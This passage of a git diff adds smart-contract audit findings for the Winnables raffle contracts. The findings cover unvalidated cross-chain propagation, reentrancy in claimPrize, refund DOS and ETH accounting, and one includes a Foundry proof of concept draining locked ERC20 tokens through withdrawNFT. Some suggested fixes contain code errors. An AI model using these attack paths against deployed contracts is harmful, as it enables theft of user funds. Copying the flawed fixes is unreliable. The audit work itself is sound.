getting the prize + +## Summary +After a successful raffle, a winner is chosen by calling `WinnablesTicketManager::drawWinner()`. After that Chainlink VRF provides the random number for the choice of the winner. After that anyone can call `WinnablesTicketManager::propagateRaffleWinner()` and mark the prize as claimable, so the winner can go on Ethereum Mainnet and claim it. However the propagation proccess is flawed and the CCIP message might not reach the WinnablesPrizeManager contract which is deployed on Mainnet. This will result in prize funds being locked forever inside the WinnablesPrizeManager contract. + +## Vulnerability Detail +Scenario: +- Alice deploys a malicious CCIP receiver on Mainnet which can consume the messages sent from the Avalance deployed contract(WinnablesTicketManager.sol) +- Bob is selected for the winner of a raffle +- Alice(malicious user) calls `WinnablesTicketManager::propagateRaffleWinner()` with args prizeManager= her own address on Mainnet, different than WinnablesPrizeManager.sol +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +// @audit-issue attacker can make the actual winner not receive it's funds by calling propagateRaffleWinner() with diff args than the Winnables contracts on mainnet + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +- Alice receives the message on Mainnet, however the Winnables contract does not +- As a result the raffle status becomes RaffleStatus.PROPAGATED, and the prize cannot be propagated again to the Winnables contract +- Bob cannot claim his prize from WinnablesPrizeManager +- Winnables admins cannot rescue the locked prize, because locked prizes cannot be withdrawn by the admins + + +## Impact +The winner cannot claim his prize. Also the prize remains stuck on Mainnet and cannot be rescued by the winnables admins + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L221 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L231 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L241 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L108-L119 + +## Tool used + +Manual Review + +## Recommendation +Remove address prizeManager, uint64 chainSelector from the params of propagateRaffleWinner(). Instead hardcode them, or make them configurable only by the admins diff --git a/001/546.md b/001/546.md new file mode 100644 index 0000000..9bf0c4e --- /dev/null +++ b/001/546.md @@ -0,0 +1,44 @@ +Tall Ultraviolet Porcupine + +High + +# Attacker can block the winner from claiming the prize + +### Summary + +After a raffle concludes and a winner is selected, any user can call the `propagateRaffleWinner` function to send the winner's details to the prize manager, enabling the winner to claim the prize using the `claimPrize` function. However, an issue arises because the `propagateRaffleWinner` function does not validate the user-provided data. This allows an attacker to send a CCIP message to any contract, changing the raffle's status to `PROPAGATED`. If the winner's information does not reach the prize manager, they will be unable to claim the prize, and the altered raffle status will prevent the `propagateRaffleWinner` function from being called again. + +### Root Cause + +The lack of validation for parameters passed to the [propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L334-L334) function (`prizeManager`, `chainSelector`). + +### Internal pre-conditions + +1. The raffle winner is selected. +2. The raffle has a `FULFILLED` status (the VRF returns a random number). + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker monitors the status change of the raffle on Avalanche, either by observing the mempool or listening for the `WinnerDrawn` event. +2. Upon status change, the attacker calls the `propagateRaffleWinner` function with parameters that allow the transaction to succeed but without sending the message to the `PrizeManager`. + +### Impact + +1. The protocol incurs a loss due to CCIP transmission fees in `WinnablesTicketManager` caused by the attacker. +2. Since the winner's information never reaches the prize manager, they will be unable to claim their prize using the [`claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L105) function. + +### PoC + +_No response_ + +### Mitigation + +If the `propagateRaffleWinner` function is intended to be available to everyone, the data provided by the user should be validated, allowing only the appropriate `prizeManager` and `chainSelector`. + +A good solution could be to set these parameters (since they are immutable for the chain) beforehand so that they don't need to be provided as function arguments. + +The final solution should align with the application's design decisions. \ No newline at end of file diff --git a/001/547.md b/001/547.md new file mode 100644 index 0000000..7eab51e --- /dev/null +++ b/001/547.md @@ -0,0 +1,75 @@ +Glorious Velvet Coyote + +High + +# [H-2] Possible Reentrancy in WinnablesPrizeManager::claimPrize() + +**File:** [WinnablesPrizeManager](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) + +## Description: +The function WinnablesPrizeManager::claimPrize() is provided to claim the raffle prize for the winner. In its implementation, The winner can claim the prize of a raffle by providing the raffleId and The asset associated with this raffleId is transferred to the msg.sender address. + +However, the checks for the claimed status of the raffle and whether the msg.sender is the winner of the raffle are implemented after the prize has been transferred and the status of the raffle is changed to CLAIMED only after the transfer has taken place. +If in an instance, msg.sender is a contract and not an EOA, the malicious actor could trigger reentrancy by repetitively calling the claimPrize() within a receive function and thus draining all the funds since there are no checks for the same before another interaction. + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + + +In Reentrancy, the state is updated after the external call and therefore, when reentered, the state is the same as the first call. The caller is a contract with a malicious receive function which calls the vulnerable claimPrize() function and because the checks and the state updation are implemented after the external calls, the funds get transferred again. This again receive for the caller which calls the claimPrize() function with the same state and the funds are drained completely. + +## Mitigation: +This vulnerability can be easily mitigated by using the checks-effects-interactions practice that helps to prevent reentrancy attacks. The code after this practice has been adhered to is as follows: + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + // checks + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + // effects + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + // interactions + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + } +``` +**Liklihood:** High + +**Impact:** HIgh + +## Tool used + +Manual Review \ No newline at end of file diff --git a/001/548.md b/001/548.md new file mode 100644 index 0000000..e263b17 --- /dev/null +++ b/001/548.md @@ -0,0 +1,41 @@ +Scrawny Mauve Troll + +High + +# Unauthorized Actors Will Permanently Lock the Raffle Prize for the Raffle Creator + +### Summary + +The missing access control on the `cancelRaffle` function in `WinnablesTicketManager` will cause a potential loss of funds for the raffle creator (admin) as an unauthorized actor can call this function and provide an incorrect prizeManager address, causing the raffle prize to be permanently locked in the `WinnablesPrizeManager` contract. + +### Root Cause + +In [ `WinnablesTicketManager::278`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) cancelRaffle function lacks access control and no input validation, allowing any external account to invoke the function. + +### Internal pre-conditions + +1. Any external account needs to call `cancelRaffle()` with a chosen prizeManager address. + +### External pre-conditions + +The provided prizeManager address is not actual `WinnablesPrizeManager` makes the lockedPrize for that Raffles permanantly locked inside the contract. + +### Attack Path + +1. An unauthorized actor calls the `cancelRaffle()` function and sets an incorrect prizeManager address. +2. The raffle status is updated to CANCELED. +3. The message is sent using `_sendCCIPMessage()` but is never received due to the incorrect address. +4. The raffle creator (admin) is unable to withdraw the prize, causing it to remain permanently locked in the contract. + + +### Impact + +The raffle creator (admin) suffers a loss of the prize for the raffle. The attacker doesn't directly gain anything but causes a denial of service by locking the prize permanently. + +### PoC + +_No response_ + +### Mitigation + +Implement proper access control by restricting the cancelRaffle function to only be callable by the raffle creator (admin) or a trusted role. \ No newline at end of file diff --git a/001/549.md b/001/549.md new file mode 100644 index 0000000..e579daf --- /dev/null +++ b/001/549.md @@ -0,0 +1,48 @@ +Bubbly Currant Turtle + +Medium + +# The `raffle` can be drawn and cancelled at the same time, which violates uniqueness. + +### Summary + +Because the check is not strict enough, the functions `_checkShouldDraw` and `_checkShouldCancel` can return true at the same time. This means that even though the `draw` conditions are met, it can still be cancelled by malicious users. + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 +The check for `block.timestamp` and `supply` is not strict enough. The condition will be met when `block.timestamp` equals `raffle.endsAt` and `supply` equals `raffle.minTicketsThreshold` . + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Malicious users could cancell the `raffle` when `block.timestamp` = `raffle.endsAt` and `supply` = `raffle.minTicketsThreshold`. + +### PoC + +_No response_ + +### Mitigation + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt >= block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/551.md b/001/551.md new file mode 100644 index 0000000..0b98ddb --- /dev/null +++ b/001/551.md @@ -0,0 +1,42 @@ +Uneven Violet Snail + +Medium + +# Possible DOS in refundPlayers() + +## Summary +Possible DOS in refundPlayers() function + +## Vulnerability Detail +The refundPlayers() function in the WinnablesTicketManager.sol contract is vulnerable to DOS attack. This function is intended to refund ETH to participants of a raffle that has been canceled. It does this by iterating over an array of players addresses and sending ETH to each one in a for loop. +```jsx + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +However, if one of the players is a malicious actor, he could deploy a smart contract with a receive function that intentionally reverts the transaction, preventing all players from receiving their refunds. This makes it possible for a malicious actor to block refunds for all participants by causing the transaction to fail. + +## Impact +DOS leading to - users can not claim there funds. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L212-L228 + +## Tool used + +Manual Review + +## Recommendation +Do not use array, instead do one refund at a time. \ No newline at end of file diff --git a/001/552.md b/001/552.md new file mode 100644 index 0000000..f63f8e9 --- /dev/null +++ b/001/552.md @@ -0,0 +1,30 @@ +Merry Ocean Moth + +High + +# Reentrancy Attack while calling `claimPrize()` + +## Summary +Reentrancy Attack while calling `claimPrize()` + +## Vulnerability Detail +- Malicious user can claim all locked ETH of user's through `claimPrize()` +- As no CEI effect is followed during `claimPrize()` and state gets updated after the ETH gets transferred which leads to malicious user can do reentrancy attack and steal user's fund. +```solidity +unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` +- So a malicious user can claim all of the Locked Eth inside the contract. + + +## Impact +- malicious user would steal all of the Locked Eth inside the contract. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 +## Tool used + +Manual Review \ No newline at end of file diff --git a/001/557.md b/001/557.md new file mode 100644 index 0000000..01cfe48 --- /dev/null +++ b/001/557.md @@ -0,0 +1,125 @@ +Dry Arctic Hawk + +High + +# An admin could withdraw a raffle's winner prize if the reward is an ERC20 Token. + +### Summary + +An admin(Actor with the 0 role) could ensure a user doesn't claim their prize if the prize is an IERC20 token or even drain the prizeManager of any ERC20 token locked as prizes for raffles. +### Affected Files +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L230 + + +### Root Cause + +*Notice* An admin is a trusted actor in the system, this report is not implying an admin is malicious but to clarify the capability/power the admin role holds. +Assume an initial scenario whereby a raffle has been settled and the propagateRaffleWinner has been called, the crosschain payload has been sent and the winner address has been set in the prizeManager for a raffleId.The admin is allowed to withdraw(NFT's,ERC20 Tokens and ETH) that isn't locked in the protocol. Every raffleId has an associated locked prize , which according to the sherlock homepage it is not withdrawable i quote "Winnables admins cannot do anything to prevent a winner from withdrawing their prize". +But this isn't always the case an admin could withdraw locked ERC20 tokens in the pool this is because the *withdrawNFT()* method uses transferfrom to send an nft which isn't locked could also be used to withdraw any ERC20 tokens in the prizeManager(Locked or Unlocked) simply because the ERC721 TransferFrom && ERC20 TransferFrom has the same method signature the 'tokenId' param in the ERC721 would just act as the number of tokens to withdraw. +An admin calling the withdrawNFT() method passing in a locked nft address & tokenId would always revert,but an admin calling the withdrawNFT passing in a locked ERC20 token and any tokenId(arbitrary number of tokens to withdraw) would succeed. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +- The raffle Id must have a winner . +- There must be locked ERC20 prize in the PrizeManager. + +### Attack Path + +- After a raffle-Id winner has been set in the PrizeManager. +- Call the withdrawNFT method with the ERC20 token and the amount of tokens to withdraw as tokenId. +- That way when the raffle winner calls claimPrize it would always revert. + +### Impact + +- A raffle winner would not be able to claim an ERC20 prize which is one of the major invariants on this protocol(See audit homePage under design choices). + + +### PoC + +``` solidity +/** + * SPDX-License-Identifier:UNLICENSED + * @author: + */ +pragma solidity ^0.8; +import {Test} from "forge-std/Test.sol"; +import "../contracts/WinnablesPrizeManager.sol"; + +contract PrizeManagerTest is Test { + WinnablesPrizeManager private prizeManager; + address private linkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA; + address private ccipRouter = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D; + address private admin = makeAddr("ADMIN"); + address private ticketManager = makeAddr("TICKET-MANAGER"); + uint64 chainSelector = 6433500567565415381; //doesn't matter + address private DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + + constructor() { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + _deployContracts(); + _init(); + } + + function _deployContracts() internal { + _asAdmin(); + prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter); + //deal prizeManager tokens to cover for ccip fees. + deal(linkToken, address(prizeManager), 1e18); + } + + function _init() internal { + _asAdmin(); + prizeManager.setCCIPCounterpart(ticketManager, chainSelector, true); + } + + //Test demonstrating a scenario whereby an admin could withdraw locked ERC20 Tokens + //This could be escalated to a scenario whereby admin denies a raffle-winner of prize by draining prizeManager of the prize ERC20 Tokens causing the claimPrize method to always fail due to insufficient amount.. + function testMaliciousAdminCouldPreventRaffleWinner() external { + //Assuming the prizeManager has 1k Locked DAI.. + //It is expected that the admin cannot withdraw any locked tokens right?😎 + _lockTokens(DAI, 1000e18, 1); + _asAdmin(); + prizeManager.withdrawNFT(DAI, 1000e18); + assertEq(IERC20(DAI).balanceOf(admin), 1000e18); + assertEq(IERC20(DAI).balanceOf(address(prizeManager)), 0); + } + + function _lockTokens( + address tokens, + uint256 amount, + uint256 raffleId + ) internal { + deal(tokens, address(prizeManager), amount); + _asAdmin(); + prizeManager.lockTokens( + ticketManager, + chainSelector, + raffleId, + tokens, + amount + ); + } + + function _asAdmin() internal { + vm.startPrank(admin); + } +} + + +### Mitigation + +- A fix would be to verify if the tokens being withdrawn is an NFT.. +- This could be done by calling functions distinct to the ERC721 implementations like tokenURI(). +``` solidity + //FIX + function withdrawNFTFix(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); + try IERC721(nft).tokenURI(tokenId) returns (string memory) {} catch { + revert("Token is not an NFT"); + } + IERC721(nft).transferFrom(address(this), msg.sender, tokenId); + } \ No newline at end of file diff --git a/001/559.md b/001/559.md new file mode 100644 index 0000000..700b04e --- /dev/null +++ b/001/559.md @@ -0,0 +1,119 @@ +Zesty Peanut Pony + +High + +# Potential for Locked ETH in the `WinnablesTicketManager` + +### Summary + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278 +The `_lockedETH` state variable, which tracks the total amount of ETH locked in active raffles, is not consistently updated across all relevant functions (`cancelRaffle` and `refundPlayers`). This could lead to a discrepancy between the actual locked ETH and the tracked amount, potentially causing issues with fund management and withdrawals. + + +### Root Cause + +The root cause is the inconsistent updating of the `_lockedETH` variable. While it's incremented in the `buyTickets` function and decremented in the `propagateRaffleWinner` function, it's not updated in the `cancelRaffle` or `refundPlayers` functions. This oversight can lead to the _lockedETH variable becoming out of sync with the actual locked funds. + +### Internal pre-conditions + +Raffle needs to be created and now is canceled + +### External pre-conditions + +None specific; this is an internal state management issue. + + +### Attack Path + +This is not an attack per se, but a system flaw that could be exploited: + +1.Multiple raffles are created and tickets are sold, increasing _lockedETH. +2. Some raffles are completed, and propagateRaffleWinner is called, correctly decreasing _lockedETH. +3. Other raffles are canceled, but cancelRaffle doesn't update _lockedETH. +4. refundPlayers is called for canceled raffles, refunding ETH to players without updating _lockedETH. +5. Over time, the _lockedETH variable becomes significantly higher than the actual amount of ETH that should be locked. +This discrepancy could prevent legitimate withdrawals or allow excessive withdrawals, depending on how _lockedETH is used in withdrawal functions. + +### Impact + +Lock of funds:the contract has a withdrawal function that uses _lockedETH as a reference, https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300 +this will prevent the owner Eth thinking it's still locked + +### PoC + + +1. Create Raffle A. + + +2. Ticket Purchases: + +3. Users purchase tickets for Raffle A, totaling exactly 10 ETH. +4. The buyTickets function is called multiple times, each time increasing the _lockedETH variable. +At this point, _lockedETH should be 10 ETH. + +5 Conditions are met to cancel Raffle A (e.g., the raffle end time has passed, but the minimum ticket threshold wasn't reached). +6An authorized user or admin calls the cancelRaffle function for Raffle A. +7.The raffle status is set to CANCELED, but _lockedETH remains unchanged at 10 ETH. +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +Refund Process: + +7.The refundPlayers function is called to refund all participants of Raffle A. +8.Each player receives their refund, totaling 10 ETH being sent out of the contract. +Crucially, the refundPlayers function does not update the _lockedETH variable. +```function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +Final State: + +Actual ETH locked in active raffles: 0 ETH (the raffle was cancelled and all funds refunded) +_lockedETH value in the contract: 10 ETH (unchanged from step 3) +Actual balance of the contract: 0 ETH (all funds were refunded) + +### Mitigation + +Update `_lockedETH `in the `refundPlayers` function: +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + unchecked { + _lockedETH -= amountToSend ; + } + }``` \ No newline at end of file diff --git a/001/562.md b/001/562.md new file mode 100644 index 0000000..4bc0149 --- /dev/null +++ b/001/562.md @@ -0,0 +1,124 @@ +Jolly Charcoal Albatross + +High + +# Unclaimed Prize Manipulation Leading to Indefinite Asset Lock + +# Summary + +The Winnables protocol suffers from a critical vulnerability where prizes from completed raffles can remain unclaimed indefinitely. This issue stems from the absence of a time-bound claiming mechanism and the inability to recover or reallocate prizes once a raffle has been fulfilled. As a result, a malicious winner could intentionally never claim their prize, effectively locking valuable assets (NFTs, tokens, or ETH) in the contract permanently. + +# Vulnerability Detail + +The vulnerability exists in the interaction between the `WinnablesTicketManager` and `WinnablesPrizeManager` contracts. Once a raffle is completed and a winner is determined, there is no mechanism to force prize distribution or reallocate unclaimed prizes after a certain period. +In the `WinnablesPrizeManager` contract, the [`claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L125) function allows winners to claim their prizes. However, there is no time limit for when this function can be called. Once a winner is determined, the prize remains claimable indefinitely. + +The [`_checkShouldCancel`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L434-L442) function in `WinnablesTicketManager` cannot be used to recover assets once the raffle has been fulfilled. This function only allows cancellation when the raffle is in the IDLE state, which is no longer possible once a winner has been drawn. + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +} +``` + +1. This function enforces the following conditions for cancellation: + - The raffle status must be IDLE (not PRIZE_LOCKED, REQUESTED, FULFILLED, etc.) + - The raffle end time must have passed + - The number of tickets sold must be less than the minimum threshold +2. Now, let's look at the raffle lifecycle in `WinnablesTicketManager`: +NONE -> PRIZE_LOCKED -> IDLE -> REQUESTED -> FULFILLED -> PROPAGATED +3. The `drawWinner` function changes the status from IDLE to REQUESTED: + +```solidity +function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + // ... (rest of the function) +} +``` + +1. The `fulfillRandomWords` function changes the status from REQUESTED to FULFILLED: + +```solidity +function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords +) internal override { + // ... + raffle.status = RaffleStatus.FULFILLED; + // ... +} +``` + +1. Once the status is FULFILLED or beyond, the `_checkShouldCancel` function will revert with `InvalidRaffle()`, preventing cancellation. + +# Impact + +- Asset Lock: Valuable assets (NFTs, tokens, or ETH) could be permanently locked in the contract if a winner decides not to claim their prize. +- Protocol Dysfunction: Over time, a significant portion of the protocol's assets could become inaccessible, hampering its ability to conduct future raffles. +- User Trust: The inability to resolve unclaimed prizes could lead to a loss of user trust in the protocol. +- Economic Loss: The protocol and its users suffer economic losses from the permanent locking of assets. + +# Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L434-L442 + +# Tool used + +Manual Review + +# Recommendation + +- Implement a Time-Bound Claiming Mechanism: Add a claiming deadline to each raffle. For example: + +```solidity +struct RafflePrize { + RaffleType raffleType; + RafflePrizeStatus status; + address winner; + uint256 claimDeadline; +} + +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + require(block.timestamp <= rafflePrize.claimDeadline, "Claim period expired"); + // ... rest of the function +} +``` + +- Add a Prize Reallocation Function: Create a function that allows reallocation of unclaimed prizes after the deadline: + +```solidity +function reallocateUnclaimedPrize(uint256 raffleId) external onlyRole(0) { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + require(block.timestamp > rafflePrize.claimDeadline, "Claim period not expired"); + require(rafflePrize.status != RafflePrizeStatus.CLAIMED, "Prize already claimed"); + + // Logic to reallocate the prize (e.g., to a community fund or next raffle) + // ... + + rafflePrize.status = RafflePrizeStatus.REALLOCATED; + emit PrizeReallocated(raffleId); +} +``` + +- Implement Automatic Prize Distribution: Consider adding a function that automatically attempts to send the prize to the winner's address after a certain period: + +```solidity +function attemptAutomaticDistribution(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + require(block.timestamp > rafflePrize.claimDeadline, "Claim period not expired"); + require(rafflePrize.status != RafflePrizeStatus.CLAIMED, "Prize already claimed"); + + // Attempt to send prize to winner + // If fails, mark for manual intervention +} +``` + +- Update Cross-Chain Logic: Ensure that the cross-chain communication logic (using Chainlink CCIP) is updated to handle these new prize management scenarios. \ No newline at end of file diff --git a/001/563.md b/001/563.md new file mode 100644 index 0000000..2123edb --- /dev/null +++ b/001/563.md @@ -0,0 +1,40 @@ +Scrawny Mauve Troll + +High + +# Unauthorized Actors Will Prevent the Raffle Winner from Claiming Their Prize + +### Summary + +The missing access control on the `propagateRaffleWinner` function in `WinnablesTicketManager` will cause a disruption in the prize distribution for the raffle winner as an unauthorized actor (e.g., a losing player) can call this function and provide an incorrect `prizeManager` address, preventing the legitimate winner from claiming the prize. + +### Root Cause + +In [WinnablesTicketManager::334](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) the propagateRaffleWinner function lacks access control, allowing any external account to invoke the function. + +### Internal pre-conditions + +1. Any external account needs to call `propagateRaffleWinner()` with a chosen `prizeManager` address. + +### External pre-conditions + +1. The provided `prizeManager` address is incorrect, causing the winner's prize claim to fail on the actual `WinnablesPrizeManager` contract. + +### Attack Path + +1. An unauthorized actor (e.g., a losing player) calls the `propagateRaffleWinner()` function and sets an incorrect prizeManager address. +2. The raffle status is updated to PROPAGATED. +3. The message is sent using `_sendCCIPMessage()` but is directed to the incorrect `prizeManager`, making the prize unclaimable by the legitimate winner. +4. The legitimate winner is unable to receive their prize, causing dissatisfaction and potential loss of trust in the raffle system. + +### Impact + +The raffle winner suffers a loss as they are unable to claim their prize due to the incorrect propagation of the winner's information. The attacker doesn't gain anything directly but causes a denial of service by preventing the rightful winner from claiming the prize. + +### PoC + +_No response_ + +### Mitigation + +Implement proper access control by restricting the `propagateRaffleWinner` function to only be callable by the raffle creator (admin) or a trusted role. Additionally, consider verifying the `prizeManager` address before proceeding with the propagation. \ No newline at end of file diff --git a/001/564.md b/001/564.md new file mode 100644 index 0000000..7c8c648 --- /dev/null +++ b/001/564.md @@ -0,0 +1,79 @@ +Jolly Charcoal Albatross + +High + +# Inconsistent ETH Locking Mechanism Leading to Fund Lockup + +# Summary + +The `WinnablesTicketManager` 